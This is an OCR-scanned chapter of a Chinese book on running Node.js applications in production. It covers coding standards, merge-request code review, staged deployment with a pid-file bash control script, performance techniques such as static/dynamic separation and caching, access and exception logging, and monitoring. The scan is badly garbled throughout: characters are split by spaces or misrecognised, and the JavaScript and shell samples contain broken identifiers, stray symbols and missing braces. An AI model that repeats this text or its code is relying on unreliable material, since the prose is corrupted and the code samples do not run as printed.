少 有 人 遇见 一 个 团队 有 很 多 人 通过 JavaScript 开 发 应 用 的 情景 ， 但 在 
JavaScript 习 用 场景 越 来 越 多 的 情况 下 ， 整 个 团队 一 起 维护 一 份 代 码 将 
会 很 常见 。 多 人 维护 相同 的 代码 ， 将 会 面临 团队 成 员 水 平 不 一 等 问 
题 。 而 代码 是 否 具备 民 好 的 可 维护 性 是 最 能 体现 团队 素质 的 地 方 。 为 
团队 统一 良好 的 编码 风格 ， 有 助 于 帮助 提升 代码 的 可 读 性 ， 进 而 提升 
可 维护 性 。 项 目 中 代码 的 可 维护 性 是 影响 项 目 后 期 成 本 的 重要 因素 ， 
一 旦 早期 不 注重 可 维护 性 ， 后 期 项 目的 迭代 和 bug 修 复 都 会 耗费 巨大 的 
> °。 建议 在 项 目 一 开始 就 制定 基本 的 编码 规范 ， 让 团队 形成 统一 的 
X oO 

编码 规范 的 统一 一 般 有 几 种 实现 方式 ， 一 种 是 文档 式 的 约定 ， 一 种 是 
代码 提交 时 的 强制 检查 。 前 者 靠 上 自觉， 后 者 靠 工具 。 

在 JSLint 和 JSHint 工 具 的 帮助 下 ， 现 在 已 经 能 够 很 好 地 配置 规则 了 。 一 
旦 团队 约定 了 编码 规范 的 详细 规则 ， 则 可 以 生成 一 份 规则 文件 。 一 些 
扫 朱 工具 或 者 编辑 器 能 够 通过 该 规则 文件 对 源码 进行 扫 朱 ， 直 接 提 示 
开发 者 问题 所 在 。 

目前 ， 我 通过 为 项 目 创 建 .jshintrc 文 件 ，Sublime Text 2 编辑 絮 在 安装 插 
件 后 可 以 实时 上 自动 扫 摘 代码 ， 并 标注 出 编码 中 的 问题 所 在 。 

关于 编码 规范 ， 可 以 参见 附 隶 C， 其 中 有 详细 的 摘 述 。 
JavaScript 是 一 门 太 过 于 灵活 的 语言 ， 每 个 团队 应 当 有 目 己 的 约束 规 
范 ， 使 得 编码 能 够 保持 灵活 又 产 说 ， 这 对 于 工程 化 是 一 个 很 好 的 境 
进 * 

11.1.4 ”代码 审查 

代码 审查 建立 在 具体 的 代码 提交 过 程 中 。 目 前 ， 开 源 社 区 大 多 通过 
GitHub 实 现代 码 托 管 。 对 于 一 些 企业 ， 也 通过 gitlab 等 开源 工具 搭建 了 
内 部 的 代码 托管 平台 。 这 类 托管 平台 除了 实现 代码 托管 外 ， 还 增强 了 
bug 追 踩 的 系统 ， 并 且 利 用 git 的 分 支 特 点 ， 可 以 很 好 地 实现 代码 审 
查 。git 的 分 支 开 发 模式 非常 灵活 ， 非 常 利 于 分 布 式 开发 。 开 发 者 可 以 
很 容易 地 从 主干 签 出 代码 ， 然 后 进行 功能 的 开发 ， 待 开发 完毕 后 ， 提 
0 发 起 合并 请 求 妈 可。 图 11-1 为 发 起 合并 请 求 和 代码 审查 的 
流程 示意 图 。 


合并 


站 


分 支 1 
(功能 ) 


图 11-1 发 起 合并 请 求 和 代码 审查 的 流程 示意 图 

代码 审查 主要 在 请 求 合 并 的 过 程 中 完成 ， 需 要 审查 的 点 有 功能 是 否 正 
确 完 成 、 编 码 风格 是 否 符合 规范 、 单 元 测试 是 否 有 同步 添加 等 。 如 果 
不 符合 规范 ， 束 需要 重新 更 改 代码 ， 然 后 再 提交 审查 ， 只 有 通过 审查 
代码 才 应 该 合并 进 主干 。 图 11-2 演 示 了 代码 审查 的 流程 示意 
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更 新 
代码 


图 11-2 ”代码 审查 的 流程 示意 图 
代码 审查 需要 耗费 一 定 的 精力 ， 一 些 可 以 自动 化 完成 的 工作 可 以 交 由 


工具 来 目 动 完成 ， 比 如 编码 规范 的 检查 。 但 检查 后 的 结果 ， 还 需要 人 
工 完 成 确认 。 尽 管 实 行 代 码 审 碍 会 花费 一 定 的 精力 ， 但 是 代码 质量 的 
稳固 提升 所 市 来 的 好 处 还 是 会 逐渐 回报 给 产品 的 。 

在 代码 合并 的 过 程 中 ， 一 般 还 会 集成 单元 测试 的 执行 等 环境 ， 竺 一切 
都 没有 问题 之 后 才 会 上 线 部 署 。 


11.2” 部署 流 程 

代码 在 完成 开发 、 审 查 、 合 并 之 后 ， 才 会 进入 部 署 流 程 。 尺 管 经 过 一 
系列 严谨 的 人 工 审查 和 单元 测试 的 质量 保证 ， 但 也 并 不 能 直接 上 线 到 
生产 环境 中 直接 运行 ， 还 需要 在 测试 环境 中 测试 之 后 才 人 允许 进入 生产 
环境 进行 线 上 测试 。 

11.2.1 部 署 环 境 

在 实际 的 项 目 需求 中 ， 有 两 个 点 需要 验证 ， 一 是 功能 的 正确 性 ， 一 是 
与 数据 相关 的 检查 。 第 一 个 需求 是 普 适 的 检查 ， 通 常会 准备 测试 环境 
来 供 开发 或 者 测试 人 员 验 证 代码 的 改动 是 否 正确 。 之 所 以 要 准备 专 有 
的 测试 环境 ， 是 为 了 排除 掉 无 关 因 素 的 影响 。 但 是 对 于 一 些 功能 

言 ， 它 的 行为 是 与 具体 数据 相关 的 ， 测 试 环境 中 的 数据 集 在 种 类 或 者 
大 小 上 不 能 够 满足 测试 需求 ， 进 而 需要 在 一 个 预 发 布 环境 中 测试 。 预 
0 
数据 。 

我 们 将 普通 测试 环境 称 为 stage 环 境 ， 预 发 布 环 境 称 为 pre-release 环 境 ， 
实际 的 生产 环境 称 为 product 环 境 ， 整 个 部 署 流 程 如 图 11-3 所 示 。 


re- 
stage Pp product 
release 


图 11-3 ”部 置 流 程 图 


11.2.2 ”部署 操 作 

就 普通 的 示例 代码 而 言 ， 我 们 通常 直接 在 命令 行 中 执行 nude file.js 以 启 
动 应 用 。 这 对 于 开发 中 的 应 用 而 言 ， 时 常 地 中 断 进 程 和 频繁 重启 并 无 
问题 。 但 是 对 长 时 间 执 行 的 服务 进程 而 言 ， 这 里 存在 两 个 问题 : 首先 
这 会 占 住 一 个 命令 行 窗 口 ， 其 次 随 着 窗口 的 退出 会 导致 打开 的 进程 一 
并 退出 。 为 了 能 让 进程 持续 执行 ， 我 们 可 能 会 用 到 nonup 和 sg 以 不 挂 断 进 
程 的 方式 执行 : 


nohup node app.js & 


局 动 进程 很 容易 ， 但 生还 有 两 个 需求 需要 考虑 一 一 停止 进程 和 重 局 进 
程 。 手 工 管理 的 方式 会 显得 烦琐 ， 为 此 ， 我 们 需要 一 个 脚本 来 实现 应 
用 的 司 动 、 停 止 和 重 局 等 操作 。 要 完成 这 样 的 操作 ，bash 脚 本 是 最 铺 
巧 又 擅长 此 类 需求 的 。bash 脚 本 的 内 容 通 过 与 Web 应 用 以 约定 的 方式 
来 实现 。 这 里 所 说 的 约定 ， 其 实 束 是 要 解决 进程 ID 不 容易 查找 的 问 


题 。 如 采 没 有 约定 ， 我 们 需要 找到 应 用 对 应 的 进程 ， 然 后 调用 al 命令 
东 死 进程 。 这 通常 要 调用 ps 来 查找 ， 相 关 代 码 如 下 : 


$ ps aux | grep node 


jacksontian 3618 0.0 0.0 2432768 592 S002 R+ 3:00PM 0:00.00 gr 
ep node 
jacksontian 3614 0.0 0.4 3054400 32612 s000 S+ 2:59PM 0:00.69 /u 


sr/local/bin/node /Users/jacksontian/git/h5/app.js 


然后 再 将 对 应 的 Node 进 程 杀 掉 :， kill 3614。 

这 里 所 谓 的 约定 是 ， 主 进程 在 启动 时 将 进程 ID 写 入 到 一 个 pid 文 件 中 ， 
这 个 文件 可 以 存放 在 一 个 约定 的 路 径 下 ， 如 应 用 的 run/app.pid。 下 面 
是 将 pid 写 入 到 文件 中 的 示例 : 


var fs = require('fs'); 
var path = require('path'); 


var pidfile = path.join(_ dirname， 'run/app.pid'); 
fs.writeFileSsync(pidfile, process.pid); 


脚本 在 停止 或 重 局 应 用 时 通过 ka 给 进程 发 送 srerERw 信 号 ， 而 进程 收 到 
该 信号 时 删除 app.pid 文 件 ， 同 时 退出 进程 ， 相 关 代 码 如 下 : 


process.on('SIGTERM', function () { 
if (fs.existsSync(pidfile)) { 
fs.unlinkSync(pidfile); 


process.exit(0); 


了 


a 用 于 控制 应 用 的 启动 、 停 止 和 重启 等 操 


#!1/bin/sh 

DIR= pwd - 
NODE= which node- 
# get action 
ACTION=$1 


# help 

usage() { 
echo "Usage: ./appctl.sh {start|stop|lrestart}" 
exit 1; 


get_pid() { 
if [ -f ./run/app.pid ]; then 
echo ‘cat ./run/app.pid. 
让 二 


} 


# start app 
start() { 
pid= get_pid 


if [ ! -z $pid ]; then 
echo 'server is already running' 
else 
$NODE $DIR/app.js 2>&1 & 
echo 'server is running' 
让 二 
} 


# stop app 
stop() { 
pid= get_pid 
if [ -z $pid ]; then 
echo 'server not running' 
else 
echo "server is stopping ..." 
kill] -15 $pid 
echo "server stopped !" 
于 
} 


restart() { 
stop 
sleep 0.5 
eclHlio’ 三 三 三 三 三 


} 


case "$ACTION" in 
start) 
start 


是 -党 

stop) 
stop 

7 7 

restart) 
restart 


在 部 署 的 过 程 中 ， 只 要 执行 这 个 bash 脚 本 即 可 ， 无 须 手工 管理 进程 : 


./appctl.sh start 
./appctl.sh stop 
./appctl.sh restart 


这 个 脚本 的 核心 束 是 围绕 run/app.pid 来 进行 操作 的 。 要 获取 进程 ID， 
只 需要 读 卖 取 该 文件 即 可 。 


11.3 ”性 能 

Node 产 品 的 性 能 与 许多 因素 相关 ， 这 里 我 们 将 范畴 缩减 到 Web 应 用 中 
来 ， 只 评估 一 些 销 见 的 提升 性 能 的 方法 。 对 于 Web 应 用 而 言 ， 最 直接 
0 
原则 如 下 所 示 。 


。 做 专 一 的 事 。 

。 让 擅长 的 工具 做 擅长 的 事情 。 

。 将 模型 简化 。 

。 将 风险 分 离 。 

除 此 之 外 ， 缓 存 也 能 带 来 很 大 的 性 能 提升 。 
11.3.1 ”动静 分 离 


生 普 通 的 Web 应 用 中 ，Node 尽 管 也 能 通过 中 间 件 实现 静态 文件 服务 ， 
但 是 Node 处 理 静 态 文 件 的 能 力 并 不 算 突出 。 将 图 片 、 脚 本 、 样 式 表 和 
多 媒体 等 静态 文件 都 引导 到 专业 的 静态 文件 服务 器 上 ， 让 Node 只 处 理 
动态 请 求 即 可 。 这 个 过 程 可 以 用 Nginx 或 者 专业 的 CDN 来 处 理 。 图 11-4 
为 动静 分 离 的 示意 图 。 


静态 请 求 静态 请 求 


Web 应 用 | 和 


图 11-4 ”动静 分 离 示 意图 

将 动态 请 求 和 静态 请 求 分 离 后 ， 服 务 器 可 以 专注 在 动态 服务 方面 ， 专 
业 的 CDN 会 将 静态 文件 与 用 户 尽 可 能 靠近 ， 同 时 能 够 有 更 精确 和 高 效 
的 缓存 机 制 。 静 态 文件 请 求 分 离 后 ， 对 静态 请 求 使 用 不 同 的 域名 或 多 
人 


静态 文件 和 动态 请 求 分 离 只 是 最 简单 的 分 离 ， 也 较 容 易 实 现 。 事 实 上 
还 有 更 复杂 的 情况 ， 比 如 一 个 网 页 中 同时 存在 动态 数据 和 静态 内 容 ， 
在 Node 中 将 内 容 发 送 至 客户 端 时 需要 进行 字符 串 到 Buffer 的 转换 ， 但 
是 对 于 静态 内 容 而 言 无 须 进 行 字 符 串 层级 的 替换 ， 只 要 保留 成 Buffer 
即 可 。 直 接 进 行 Buffer 传 输 可 以 很 大 程度 上 提升 性 能 ， 这 在 第 6 章 中 已 
演示 过 。 是 故 能 够 在 动态 内 容 中 再 将 动态 内 容 和 静态 内 容 分 离 ， 还 能 
进一步 提升 性 能 ， 但 这 种 程度 上 的 控制 也 许 没 有 普 适 性 ， 需 要 较 多 细 
节 处 理 。 

11.3.2 启用 缓存 


提升 性 能 其 实 差 不 多 只 有 两 个 途经 ， 一 是 提升 服务 的 速度 ， 二 是 避免 
不 必要 的 计算 。 前 者 提升 的 性 能 在 海量 流量 面前 终 有 瓶 倾 ， 但 后 者 却 
能 够 在 访问 量 越 大 时 收益 越 多 。 和 避免 不 必要 的 计算 ， 应 用 场景 最 多 的 
就 是 缓存 。 

尽管 同步 WO 在 CPU 等 待 时 浪费 的 时 间 较 为 严重 ,但 是 在 缓存 的 帮助 
下 ， 却 能 够 消减 同步 WO 带 来 的 时 间 浪 费 。 但 不 管 是 同步 WO 还 是 异步 
避免 不 必要 的 计算 这 条 原则 如 果 遵 循 得 较 好 ， 性 能 提升 是 显著 
如 今 ，Redis 或 Memcached 几 乎 是 web 应 用 的 标准 配置 。 如 果 你 的 产品 
| 局 用 缓存 并 应 用 好 它 ， 是 系统 性 能 瓶 绒 的 关 
建 。 


11.3.3 ”多 进程 架构 

在 第 9 章 中 ， 我 们 已 经 详细 介绍 了 多 进程 架构 。 通 过 多 进程 架构 ， 不 仪 
可 以 充分 利用 多 核 CPPU， 更 是 可 以 建立 机 制 让 Node 进 程 更 加 健壮 ， 以 
保障 web 应 用 持续 服务 。 由 于 Node 是 通过 自 有 模块 构建 HTTP 服 务 器 
的 ， 不 像 大 多 数 服 务 器 端 技术 那样 有 专 有 的 Web 容 右 ， 所 以 需要 开发 
者 目 己 处 理 多 进程 的 管理 。 不 过 好 在 官方 已 经 有 cluster 模 块 ， 在 社区 
也 有 pm、forever、pm2 这 样 的 模块 用 于 进程 管理 ， 这 里 不 再 展开 具体 
细 记 。 

11.3.4” 读 写 分 离 

除了 动静 分 离 外 ， 另 一 个 较为 重要 的 分 离 是 读 写 分 离 ， 这 主要 针对 数 
据 库 而 言 。 束 任意 数据 库 而 言 ， 读 取 的 速度 远 远 高 于 写 入 的 速度 。 而 
某 些 数据 库 在 写 入 时 为 了 保证 数据 一 致 性 ， 会 进行 锁 表 操作 ， 这 同时 
会 影响 到 读 取 的 速度 。 某 些 系统 为 了 提升 性 能 ， 通 常会 进行 数据 库 的 
读 写 分 离 ， 将 数据 库 进 行 主 从 设计 ， 这 样 读 数据 操作 不 再 受到 写 入 的 
影响 ， 降 低 了 性 能 的 影响 。 

此 外 ， 还 有 其 他 许多 方案 用 以 提升 系统 性 能 ， 以 应 对 海量 的 请 求 ， 这 
里 不 再 一 一 展开 。 


11.4 日 志 

在 真实 的 项 目 中 ， 开 发 只 是 整个 投入 的 一 小 部 分 。 应 用 或 系统 真正 上 
终 运 转 起 来 时 ， 问 题 有 可 能 会 接 中 而 来 。 所 谓 智 者 千 虑 ， 必 有 一 朴 。 
无 论 多 么 周密 的 代码 编写 ， 一 些 未 知 问题 总 是 可 能 在 某 个 不 确定 的 时 
候 出 现 。 这 种 情况 下 ， 与 其 遇见 bug 修 复 它 ， 不 如 建立 健全 的 排查 和 跟 
中 机 制 ， 而 日 志 束 是 实现 这 种 机 制 的 关键 。 在 健全 的 系统 中 ， 完 善 的 
日 志 记 录 最 能 够 还 原 问 题 现场 。 通 过 记录 日 志 来 定位 问题 是 一 种 成 本 
Ne ` 轻 量 的 记录 方式 容易 实现 ， 也 容易 扩 
11.4.1 访问 日 志 

访问 日 志 一 般 用 来 记录 每 个 客户 端 对 应 用 的 访问 。 在 Web 应 用 中 ， 主 
要 记录 HTTP 请 求 中 的 关键 数据 。 一 般 的 web 服务 需 都 实现 了 记录 访问 
日 志 的 功能 ， 只 需要 简单 的 配置 即 可 启用 。 在 用 Nginx 或 Apache 进 行 
反 回 代理 时 ， 可 以 利用 这 些 已 有 的 设施 完成 访问 日 志 的 记录 。 在 Node 
开发 的 Web 应 用 中 ， 也 可 以 目 行 实现 访问 日 志 的 记录 。 

中 间 件 框架 Connect 在 其 众多 中 间 件 中 提供 了 一 个 日 志 中 间 件 ， 通 过 人 
DA 日 志文 件 中 。 下 面 是 Connect 的 一 段 
不 例 亿 他: 


var app = connect(); 
// 记录 访问 日 志 


IN 

connect .1ogger ,format( 'home '， ':remote-addr :response- 
time - [:date] ":method :url HTTP/:http-version" :status :res[content- 
Jength] ":referrer" ":user-agent" :res[content-length]'); 


app.use(connect.logger({ 
format: 'home', 
stream: fs.createwriteStream(_ dirname + '/logs/access.10g') 


})); 


这 里 记录 的 数据 有 FSii5Esssgilis 不 中 egg 等 这 些 数据 已 经 足够 用 来 
帮助 分 析 Web 应 用 的 用 户 分 布 情况 、 服 务 屁 端的 啊 应 时 间 、 啊 应 状态 
1 。 这些 数 据 属 于 运营 数据 ， 能 反 过 来 帮助 改进 和 提升 
区 站 。 

从 上 面 的 示例 代码 中 可 以 看 出 ， 数 据 是 以 :token 的 形式 进行 格式 化 的 。 
pe 下 面 是 :status 的 最 终 取 

exports.token('status', function(req, res){ 
return res,.statusCode; 


}); 


Connect 在 最 终 啊 应 前 会 将 实际 数据 礁 换 挥 token()， 然 后 写 入 到 日 志 
件 中 。 在 实际 的 应 用 场景 中 ， 可 以 置 入 一 些 用 户 信息 ， 用 以 跟 踩 一 些 
数据 ， 比 如 某 个 登录 用 户 太 过 密集 地 访问 某 个 页 面 等 ， 他 有 可 能 是 一 
个 机 郝 人 ， 在 爬 取 网 页 中 的 数据 。 根 据 日 志 分 析 ， 得 出 其 耻 ， 可 以 实 
现 定点 拒绝 服务 。 


11.4.2 异常 日 志 


异 第 日 志 通 汝 用 来 记录 那些 意外 产生 的 异常 错误 。 通 过 日 志 的 记 杂 ， 
开发 者 可 以 根据 异常 信息 去 定位 bug 出 现 的 具体 位 置 ， 以 快速 修复 问 


题 。 
异常 日 志 通 常 有 完善 的 分 级 ，Node 中 提供 的 console 对 象 就 简单 地 实现 
了 这 几 种 划分 ， 有 具体 如 下 所 示 。 

e console.1og: 站 普通 HG i ? 

e console.info: 普通 信息 这 

© console.warn: 警告 信息 2 

e@ console.error : 错误 信息 9 


console 模 块 在 具体 实现 时 ，10g 与 info 方 法 都 将 信息 输 出 给 标准 输出 
process.stdout, warn 一 与 fe$ 方 法 则 将 信 已. 输 出 到 标准 销 误 天 process. stderr, 而 
info 和 error 分 别 是 logo 和 warn 的 别名 。 下 面 为 它们 的 实现 代码 : 


Console.prototype,.1og = function() { 
this,._stdout.write(util.format.apply(this, arguments) + '\n'); 


}; 
Console.prototype.info = Console.prototype.1og,; 


Console.prototype.warn = function() { 
this,._ stderr.write(util.format.apply(this, arguments) + '\n'); 


}; 


Console.prototype.error = Console.prototype.warn; 


sonsols 对 象 上 具有 一 个 console 属 性 ， 它 是 console 对 象 的 构造 函 数 。 。 借助 
这 个 构造 国 数 ， 我 们 可 以 实现 上 自己 的 日 志 对 象 ， 相 关 代 人 码 如 下 : 


var info = fs.createWriteStream(logdir + '/info.1log', {flags: 'a', mode: '0666' 


}); 


var error = fs,.createWwriteStream(logdir + '/error.log', {flags: 'a', mode: '066 


6'}); 


var logger = new console.Console(info, error); 


ee 志 内 容 束 能 各 自 写 入 到 对 应 的 文件 中 ， 相 关 代 
马 如 下 : 


Jogger ,1og( ' Hello world!'); 
Jogger ,error( "segment fault'); 


有 了 记录 信息 的 日 志 API 后 ， 开 发 者 需要 关心 的 是 要 人 小心 捕获 每 一 个 
异常 。 在 第 4 章 中 ， 我 们 提 到 腊 步调 用 中 回调 函数 里 的 异 并 无 法 被 外 部 
捕获 的 问题 ， 也 提 到 了 异步 API 编 写 的 规范 ， 每 个 开发 者 应 当 将 API 内 
部 发 生 的 异常 作为 第 一 个 实 参 传递 给 回调 函数 。 对 于 回调 函数 中 产生 
i 则 可 以 不 用 过 问 ， 交 给 全 局 的 uncaugntexception 事 件 去 捕获 即 
在 逐 层 次 的 异步 API 调 用 中 ， 异 滑 是 该 传递 给 调用 方 还 是 该 立即 通过 
日 志 记 录 ， 这 是 一 个 需要 注意 的 问题 。 就 通常 的 API 编 写 而 言 ， 尺 量 
不 要 隐藏 错误 ， 不 要 通过 tryycaten 块 将 异常 捕获 ， 然 后 隐藏 起 来 不 向 外 
部 调用 者 暴露 。 这 对 于 底层 API 的 设计 而 言 ， 尤 为 重要 。 事 实 上 , 日 
志 通 常 是 服务 于 业务 的 。 我 的 建议 是 异 音 尽量 由 最 上 层 的 调用 者 捕获 
记录 ， 旗 层 调 用 或 中 间 层 调用 中 出 现 的 异常 只 要 正 稼 传递 给 上 层 的 调 
用 方 即 可 。 
确 层 或 中 间 层 调用 通 利 这 样 写 : 
exports .find = function (id, callback) { 
// 准备 SQL 
db.query(sql, function (err, rows) { 


if (err) 
return callback(err); 


} 

// 处 理 结 
var data = rows.sort(); 
callback(null, data); 
}); 
}; 


如 果 上 层 API 对 下 层 API 返 回 的 结果 不 需要 做 任何 处 理 ， 直 接 简写 即 
可 ， 如 下 所 示 : 
exports ,find = function (id, callback) { 


// 准备 SQL 
db.query(sql, callback); 


但 是 对 于 最 上 层 的 业务 ， 不 能 无 视 下 层 传递 过 来 的 任何 异常 ， 需 要 记 
a 以 便 将 来 排查 错误 ， 同 时 应 该 对 用 户 给 出 友好 的 提示 ， 相 关 
:得 如 下 


exports.index = function (req, res) { 
proxy.find(id, function (err, rows) { 


if (err) { 
logger .error(err); 
res.writeHead(500); 
res.end('Error'); 
return; 


} 

res.writeHead(200); 
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如 果 日 志 只 是 通过 以 上 方式 简单 记录 ， 那 么 它 对 排查 错误 的 帮助 并 不 
太 大 ， 因 为 有 些 特殊 的 异常 需要 更 详细 的 数据 来 还 原 现场 ， 所 以 最 好 
在 记录 异常 时 有 民 好 的 的 格式 和 更 详细 的 数据 。 为 此 可 以 准备 一 个 
format() 方 法 来 封装 和 格式 化 异常 信息 ， 该 方法 的 代码 如 下 所 示 : 

var format = function (msg) { 


if (!msg) { 
return ret ， 


var date = moment(); 
var time = date.format('YYYY-MM-DD HH:mm:ss.SSS'); 
if (msg instanceof Error) { 
var err = { 
name: msg.name, 
data: msg.data 


}; 


err.stack = msg.stack; 
ret = util.format('%s %s: %s\nHost: %s\nData: %j\n%s\n\n', 
time, 
err.name, 
err.stack, 
os.hostname(), 
err.data, 
time 
); 
console.log(ret); 
} else { 
ret = time + ' ' + Util.format.apply(util, arguments) + '\n'; 
} 
return ret; 


了 


为 此 ， 我 们 在 异常 出 现时 可 以 将 调用 时 的 数据 传递 给 格式 化 方法 ， 然 
后 记录 下 日 志 ， 示 例 代 码 如 下 : 


var input = '{error: format}'; 
try { 

JSON .parse(input); 
} catch (ex) { 

ex.data = input; 

logger .error(format(ex)); 


这 样 在 日 志文 件 中 束 可 以 详细 地 捕捉 到 异常 发 生 时 的 输入 数据 ， 然 后 
定位 bug 和 解决 问题 就 是 水 到 渠 成 的 事 了 。 如 下 为 异 妾 日 志 示 例 : 


2013-06-12 17:18:19.776 SyntaxError: SyntaxError: Unexpected token e 
at Object.parse (native) 


at Object ， 
<anonymous> (/Users/jacksontian/git/diveintonode/examples/12/logger.js:53:8) 
at Module. compile (module.js:456:26) 
at Object.Module._ extensions..js (module.js:474:10) 
at Module.load (module.js:356:32) 
at Function.Module. load (module.js:312:12) 
at Function.Module.runMain (module.js:497:10) 
at startup (node.js:119:16) 
at node.js:901:3 
Host: Jackson.local 
Data: "{error: format}" 
2013-06-12 17:18:19.776 


对 于 未 捕获 的 异常 ，Node 提 供 了 机 制 以 免 进 程 直接 退出 ， 但 是 发 生 未 
捕获 异常 的 进程 也 不 能 继续 在 线 上 进行 服务 了 ， 因 为 可 能 有 内 存 泄漏 
的 风险 产生 。 如 何 优雅 地 退出 和 重启 进程 在 第 9 章 中 已 详细 描述 过 ， 那 
一 章 中 的 示例 多 是 用 console.log0) 来 记录 问题 的 ， 但 在 实际 的 产品 中 ， 
需要 严格 的 日 志 记 录 。 记 录 过 程 同 上 ， 不 再 详 述 。 

11.4.3 日 志 与 数据 库 

有 的 开发 者 对 日 志 可 能 不 太 了 解 ， 会 选择 将 一 些 日 志 写 入 到 数据 库 
中 。 数 据 库 比 日 志文 件 好 的 地 方 在 于 它 是 结构 化 数据 ， 可 以 直接 编写 
SQL 语句 进行 分 析 ， 日 志文 件 则 需要 再 加 工 之 后 才能 分 析 。 

但 是 日 志文 件 与 数据 库 写 入 在 性 能 上 处 于 两 个 级 别 ， 数 据 库 在 写 入 过 
程 中 要 经 历 一 系列 处 理 ， 比 如 锁 表 、 日 志 等 操作 。 写 日 志文 件 则 是 直 
接 将 数据 写 到 磁盘 上 。 为 此 ， 如 果 有 大 量 的 访问 ， 可 能 会 存在 写 入 操 
作 大 量 排队 的 状况 ， 数 据 库 的 消费 速度 严重 低 于 生产 速度 ， 进 而 导致 
内 存 泄 漏 等 。 相 比 之 下 ， 写 日 志 是 轻 量 的 方法 ， 将 日 志 分 析 和 日 志 记 
录 这 两 个 步骤 分 离开 来 是 较 好 的 选择 。 日 志 记 录 可 以 在 线 写 ， 日 志 分 
0 


11.4.4 分割 日 志 

线 上 业务 可 能 访问 量 巨大 ， 产 生 的 日 志 也 可 能 是 大 量 的 ， 上 述 示 例 只 
苹 人 简单 地 将 普通 日 志和 异常 日 志 分 开放 在 两 个 文件 中 ， 日 志 过 多 时 也 
不 便 直 接 查 看 。 为 此 ， 将 产生 的 日 志 按 日 期 分 割 是 一 个 不 错 的 主意 。 
日 志 的 写 入 一 般 都 是 依托 在 可 写 流 上 的 。 对 于 console 对 象 ， 它 的 内 部 属 
性 _stgout 和 _stderr 就 是 指 加 我 们 传 入 的 两 个 输入 流 对 象 的 在 设计 的 过 
程 中 ， 我 们 可 以 按 日 期 传递 对 应 的 日 志文 件 可 写 流 对 象 ， 为 此 可 以 设 


计 一 个 定时 器 用 于 当日 期 发 生 更 改 时 ， 更 改 日 志 对 象 的 两 个 输入 流 对 

象 即 可 。 这 里 将 不 展开 描述 具体 实现 。 

11.4.5 ”小 结 

捕捉 日 志 相 对 而 言 是 较为 烦 瑙 的 事情 ， 但 是 一 旦 构建 好 这 个 基础 过 

程 ， 有 问题 产生 时 则 可 以 快速 解决 。 很 多 开发 者 在 开发 过 程 中 完全 不 
(或 没 来 得 及 ) 考虑 日 志 ， 到 线 上 产生 问题 时 则 会 手忙脚乱 。 良 好 的 

0 出 现任 何 问 题 时 ， 我 们 都 能 做 
i 发 o 


11.5 ”监控 报警 

部 署 好 流程 ， 记 录 好 日 志 之 后 ， 应 用 就 似乎 可 以 自行 运转 了 。 实 际 
上 ， 这 时 候 的 应 用 如 同 初生 的 婴儿 ， 刚 刚 学 会 了 走路 ， 如 果 放 任 不 
管 ， 就 如 同 将 它 放 到 大 街 上 的 人 流 中 。 就 像 未 长 大 的 孩子 需要 有 一 个 
人 照看 一 般 ， 应 用 也 应 当 有 一 个 监控 系统 。 对 于 走 到 大 街 上 的 孩子 ， 
如 果 摔 倒 ， 需 要 及 时 将 其 扶 起 来 。 如 果 应 用 出 现 了 差错 ， 也 需要 通过 
监控 及 时 发 现 ， 然 后 恢复 它 正 常 运行 。 

应 用 的 监控 主要 有 两 类 ， 一 种 是 业务 逻辑 型 的 监控 ， 一 种 是 硬件 型 的 
监控 。 监 控 主要 通过 定时 采样 来 进行 记录 。 除 此 之 外 ， 还 要 对 监控 的 
信息 设置 上 限 ， 一旦 出 现 大 的 波动 ， 就 需要 发 出 警报 提醒 开发 者 。 为 
了 较 好 地 供 开发 者 使 用 ， 监 控 到 的 信息 一 般 还 要 通过 数据 可 视 化 的 方 
式 反 映 出 来 ， 以 便 更 直观 地 查看 。 

11.5.1 ”监控 

监控 的 主要 目的 是 为 了 将 一 些 重要 指标 采样 记录 下 来 ,一 旦 这 些 指标 
发 生 较 大 变化 ， 可 以 配合 报警 系统 将 问题 反馈 到 负责 人 那 。 监 控 的 点 
可 以 很 细致， 也 可 以 只 选 主 要 的 指标 。 


1. 日 志 监 控 
业务 逻辑 型 的 监控 主要 体现 在 日 志 上 ， 做 足 了 日 志 记 录 的 功 
夫 之 后 ， 如 何 将 日 志 应 用 起 来 是 个 问题 。 通 过 监控 异常 日 志 
文件 的 变动 ， 将 新 增 的 异常 按 异 常 类 型 和 数量 反映 出 来 。 某 
些 异 常 与 具体 的 某 个 子 系统 相关 ， 监 控 出 现 的 某 个 异常 多 半 
能 反映 出 子 系统 的 状态 。 
除了 异常 日 志 的 监控 外 ， 对 于 访问 日 志 的 监控 也 能 体现 出 实 
0 
分 o 
此 外 ， 从 访问 日 志 中 也 能 实现 PY 和 UV 的 监控 。 同 QPS 值 一 
样 ， 通 过 对 PV/UV 的 监控 ， 可 以 很 好 地 知道 应 用 的 使 用 者 们 
的 习惯 、 预 知 访问 高 峰 等 。 

2 响应 时 间 
响应 时 间 也 是 一 个 需要 监控 的 点 。 一 旦 系统 的 某 个 子 系统 
现 异 常 或 者 性 能 瓶颈 ， 将 会 导致 系统 的 响应 时 间 变 长 。 响 应 
时 间 可 以 在 Nginx 一 类 的 反 向 代理 上 监控 ， 也 可 以 通过 应 用 自 


行 产生 的 访问 日 志 来 监控 。 健 康 的 系统 响应 时 间 应 该 是 波动 
较 小 的 、 持 续 均 衡 的 。 

进程 监控 

监控 日 志和 响应 时 间 都 能 较 好 地 监控 到 系统 的 状态 ， 但 是 它 
们 的 前 提 是 系统 是 运行 状态 的 ， 所 以 监控 进程 是 比 前 两 者 更 
为 紧要 的 任务 。 监 探 进程 一 般 是 检查 操作 系统 中 运行 的 应 用 
进程 数 ， 比 如 对 于 采用 多 进程 架构 的 Web 应 用 ， 就 需要 检查 
工作 进程 的 数量 ， 如 果 低 于 预 估 值 ， 就 应 当 发 出 报警 声 。 
磁盘 监控 

磁盘 监控 主要 是 监控 磁盘 的 用 量 。 由 于 日 志 频 繁 写 的 缘故 ， 
磁盘 空间 渐渐 被 用 光 。 一 旦 磁盘 不 够 用 ， 将 会 引发 系统 的 各 
种 问题 。 给 磁盘 的 使 用 量 设 置 一 个 上 限 ， 一 旦 磁盘 用 量 超过 
警戒 值 ， 服 务 器 的 管理 者 就 应 该 整理 日 志 或 清理 磁盘 了 。 

内 存 监控 

对 于 Node 而 言 ， 一旦 出 现 内 存 泄漏 ， 不 是 那么 容易 排查 的 。 
监控 服务 器 的 内 存 使 用 状况 ， 可 以 检查 应 用 中 是 否 存在 内 存 
漆 漏 的 状况 。 如 果 内 存 只 升 不 降 ， 那 么 铁定 存在 内 存 泄漏 问 
